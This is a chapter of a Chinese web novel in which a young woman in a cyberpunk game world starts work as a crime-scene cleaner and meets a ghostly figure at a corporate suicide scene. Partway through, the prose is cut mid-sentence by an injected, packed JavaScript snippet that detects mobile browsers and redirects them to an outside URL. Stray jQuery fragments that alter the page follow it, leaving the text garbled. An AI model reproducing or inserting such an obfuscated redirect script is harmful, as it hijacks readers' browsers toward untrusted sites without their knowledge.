5. 生命工坊

作品:《赛博打工人绝不认输

    ……内测?


    黎初愣了一下。


    所以她现在的定位是NPC?


    离内测还有十天的意思是……到时候会有参与内测的玩家乌央乌央地涌进来,而她只有十天的时间做准备?


    而她现在甚至只是个还没上岗的清洁工。


    不是,这合适吗?


    感觉是那种走在路上会被心情不好的玩家一拳锤飞的炮灰类型啊!


    这就是以前在单机游戏里为所欲为的报应吗?一定是的吧!


    系统还在继续播报。


    【当前职业:凶案现场清洁工。】


    【恭喜你解锁成就:“一屋不拖何以拖天下”。】


    【说明:哦,辛辛苦苦读到本科毕业居然只能去当清洁工,这见鬼的人生,我真想狠狠踢老天爷的屁股!没关系,统治世界总是要从一间屋子开始的,尽情地在案发现场挥洒你的青春吧!】


    不了谢谢,听着就好悲哀。


    还有你是不是偷偷把拯救世界改成统治了?


    【成就奖励:“全村最好的拖把”×1。】


    【这是集全村男女老少之力为你做出的拖把,性能甩出会社的老型号不止一条街——三百六十度旋转,吸水锁血超级加倍,轻轻一擦即可去除顽强鞋印,通缉犯用了都说好,想破坏现场就用它。全村最好的拖把,让每一次弯腰都值得。】


    “谢谢你,”黎初在脑海里说,“没有把这硬广拖把直接变到我手上。”


    不然她就只能说自己师承孙悟空了。


    这世界有没有孙悟空还是个问题。


    【也不是不行。】


    “那把你一起炸了也不是不行。”


    【???】


    现在不太可能去细究那些新开放的功能了,黎初跟着谢云帆走出办公室,很快拿到了自己的实习合同——电子版和纸质各一份。


    黎初耐着性子草草扫了一遍充斥着各种法律术语的条款,这对她是个挑战,因为她一向是直接勾选“同意”的——不过还真被她注意到点什么。


    其中有一行加粗的字体写道:“乙方在实习期间接触到的一切信息均属于保密范围。”


    “这条很重要吗?”她问谢云帆。


    单论保密条款其实很常见,但……一家清洁会社有什么机密可言?难不成还能是清洁剂的配方?


    “有些雇主不喜欢自己或者亲朋好友死后的信息被传得到处都是。”谢云帆说,“要去的地方有时候也有点敏感,所以要防止泄露。”


    原来如此。


    电子版直接瞳孔认证就好,她一挥笔,正要在纸上签下自己的名字,忽然手指头一抽,“哎哟哎哟”地叫起疼来。


    谢云帆被她整懵了,“怎么了?”


    “不知道,可能是之前不小心被你前邻居的脑壳硌了一下。”黎初苦着脸甩甩手,“握笔有点费劲,直接按手印行不行?”


    “行吧,反正你是未经改造的自然人。”谢云帆同意了她的要求,“你先盖,然后我拿去问问。”


    你人还怪好的嘞。


    黎初借助印泥按了拇指印,目送他拿着合同离开。


    她不知道原身的笔迹是什么样,但既然十天后就会有玩家登入,那还是谨慎点,至少不要在这种留痕的公文上留下把柄——比如某年某月某日,某位公司员工在离职后突然性情大变,连笔迹都换了个人。


    前者还能解释为精神受了刺激,后者是切实的物理证据,所以还是能避则避的好。


    毕竟你永远都想象不到玩家能有多闲。


    谢云帆回来得很快,看他的表情,一切顺利。


    “可以,通过了。”他空着手,瞧见黎初的表情后默了下,“……又怎么了?”


    “不好意思,”其实黎初说得特别好意思,“我想问问咱们这儿包食宿吗?”


    她从昨天下午到现在还没吃饭,肚子饿得咕咕叫。


    早知道她应该再想办法把自己弄到局子里去,至少那里供饭,还是猪排饭。


    虽然猪排的口感很差劲。


    “没有宿舍,大家都是次结的合同工。”谢云帆好心道,“吃的只有点心,我去给你拿两个小蛋糕?”


    黎初郑重地双手合十,“好人一生平安。”


    于是谢云帆刚回来又走了,再回来的时候端着个一次性盘子,上面有两块拇指大的小蛋糕。黎初知道这不能怪同为打工人的谢云帆太抠,应该说安净太抠。


    但有总比没有强。


    她三下五除二地吞下那两块小蛋糕,出乎意料地,味道还不错——糖油这些工业产品只要够量,自然比那种粗制滥造的人造肉更保护嗓子,坏处就是稍微垫了点食物的肚子比之前更饿了。


    好在她现在需要做的是不让自己进医院,感觉不在考虑范围内。


    “你什么时候方便开始工作?”谢云帆问。


    黎初耸肩,“我巴不得现在就开始工作。”


    早点上岗早点结钱。


    “那好,”他说,“反正你也被派给我了,我等下就有个活儿。”


    黎初还在就着蛋糕喝水,旁边的谢云帆已经说明起了情况。


    “这次的外勤是个自杀现场。”他一边看表一边道,“一会儿会社的车会送我们过去,你先去领套制服。你的主要任务是避免职业暴露,别的暂时就打打下手,听我指挥。”


    他顿了顿,像是在思量接下来的话要不要说,最终开了口:


    “就算遇到了什么突发情况,只要记住三个‘不’——不要看,不要听,不要问。”


    “总之,哪怕真的看到听到了,也尽量别受影响。”


    ……怎么神秘兮兮的!


    黎初的好奇心完全被勾引起来了,但看样子,他并不准备为此解惑——至少不打算在这里解惑。


    她的行李箱暂时寄存在会社里,他们找仓管领了制服,一套是谢云帆现在穿着的那种员工日常便服,另一套是全身式化学防护服,很厚实的几层,附带防护面罩和胶鞋,俨然要从头包到脚。


    无人专车就停在会社门外,在确认预定的两位员工都已到位后,它缓缓向着外面驶去。


    谢云帆算是照顾新人的类型,手把手指导着黎初怎样套上防护服。收紧袖口时,她发现卡扣正好吸附到左腕。剥开卡扣,里面是两个圆形的注射孔。


    “它会自动识别你的血管位置。”谢云帆解释说,“给紧急情况准备的,一般用不上。”


    比起黎初知道的那种医用防护服,安净会社这款防护服所用材料厚实又轻盈,关节处的锚点也都有附着功能,贴合在身上毫无笨重之感,别说拖地擦洗了,连做更复杂的动作应该也不在话下。


    黎初戴好半透明的防护面罩,将覆盖在上面的长条不明物按照位置对准眼部,才发现那是一条柔软的显示屏。


    嚯。


    完成瞳孔认证之后,这块长条形的漆黑屏幕就转为透明,像镜片那样清晰地显示出车内景象。黎初稍微晃晃脑袋,看到视野内迅速用红线圈出了几块污渍和鞋印,还随着佩戴者的摇晃而灵活地变换位置,相当方便明了。


    “要去的是诺维生命工坊。”谢云帆说,“听名字就知道了吧,生命集团旗下的子公司。”


    这会儿听到老东家的名字就像再婚要在离得很难看的前夫家办酒席,黎初沉默了。


    “说是子公司,其实只负责人类制品的分销。有个男性员工在半开放式办公室吞枪自杀。”


    “……什么制品?”


    “人类制品。”谢云帆以为她没听懂,重复了一遍,然后就接着说道,“咱们的工作内


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506441|186078||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    容是清除痕迹和废弃用品,清洁剂和拖把什么的都在后备箱,等会儿帮忙搭把手。”


    无人车丝滑地泊入门口车位,谢云帆率先下车,打开后备箱盖拿出一应工具。黎初跟在后面,帮着提两桶清洁剂,同时偷偷打量了一下它们的外包装。


    不出意料,这应该是安净自己调配的特制清洁液——用来派这种用途的清洁剂也很难在市面上流通——上面贴着“安净特殊处置会社”和“绝密”的标签,桶身也是不透明的塑料材质,透着一种欲盖弥彰的神秘感。


    诺维生命工坊是幢独栋小楼,无愧于是生命集团旗下产业,风格和总部如出一辙——浅蓝、透彻、流水般的线条,哪怕跻身在平民阶级的商业区也掩盖不住非同一般的气质。


    黎初是见识过生命集团的,所以这装潢在她看来不算什么,但换作旁人就不一样了,路人经过时总忍不住要多瞄小楼两眼,继而端详他们两个的打扮,猜测里面到底发生了什么。


    工坊现在是封锁状态,谢云帆旁若无人地掏出钥匙卡解锁大门,带她乘电梯上了二楼。


    厅门缓缓在眼前滑开,映入眼帘的是一道蹭得蜿蜿蜒蜒的血迹。


    血迹延伸到某扇门后消失了,虽然面罩隔绝了气味,但以那发黑的色泽和中间掺着的浅淡部分——标识镜自动分析为脑脊液——就想象得到腐败得有多严重。黎初其实不太想知道旁边那些圈出来的还蠕动着的白点点是什么,耐不住面罩非要告诉她。


    “不是吞枪自杀吗?”她问,“怎么……”


    到处都是?


    “听说死前还爬行了一段距离,所以员工在咱们处理完之前都改为居家办公。”谢云帆说,“走吧。”


    黎初有点微妙。


    她一时说不上这微妙感源于何处,只能断定为直觉。而走在前头的谢云帆已经打开了目标的那扇门,她也就跟了过去。


    如果走廊还是触目惊心,这间办公室里的景象就用惨烈都不足以形容了。


    面罩护在耳朵上,不过声音不比气味,只是显得沉闷了一些,耳边依然能听闻到虫类聚集时薄翼震颤出的嗡嗡声。


    这里早就成了食腐昆虫的天堂,天花板上还留有一大团喷溅状的血迹,经过时间的沉淀已经发黑了。对应的那个工位周围也是满目狼藉,鱼子酱似的蛹壳堆积在侧,小块小块地黏成团结着的囊肿。


    蝇虫密密麻麻地在靠椅和桌面攒动,偶尔看得见藏在缝隙间的液体干透之后的渍痕。那道人形污染痕完整地印在上头,标识出死者最后的印记。


    “……”


    黎初突然明白了那微妙感来自何处。


    ——如果尸体腐烂在这里,那在外面爬来爬去的又是谁?


    难道死者临死前出去爬了一圈,最后还是决定誓死不离岗,与工作共进退?


    有点地狱了哥们。


    黎初下意识地去看谢云帆,后者似乎也察觉到了不对劲,只是没有完全反应过来——但两人视线相撞的下一秒,他猛然瞪大眼睛,嘴唇翕张却又吐不出任何真正意义上的字句。


    就这样瞪着她身后。


    不要看,不要听,不要问。


    在他勉力挪开视线的同时,黎初看到对方又用口型重复了这句话,她僵硬着脖子,没有轻举妄动。


    冰冷的金属质感从身后靠过来,几乎挨上耳廓,黎初汗毛都要炸开了,她根本不知道自己后头是什么东西,只是猛地察觉到了强烈的存在感,无声无息又格外清晰。


    它在她头顶。


    她可以如此断定。


    这玩意儿盘踞在天花板,以一种人类不可能有的姿态柔软地扭转过来,倒挂在她背后。


    那张苍白的脸俯在她耳边,轻轻地问:


    “你也被开除了?”


    黎初:“……”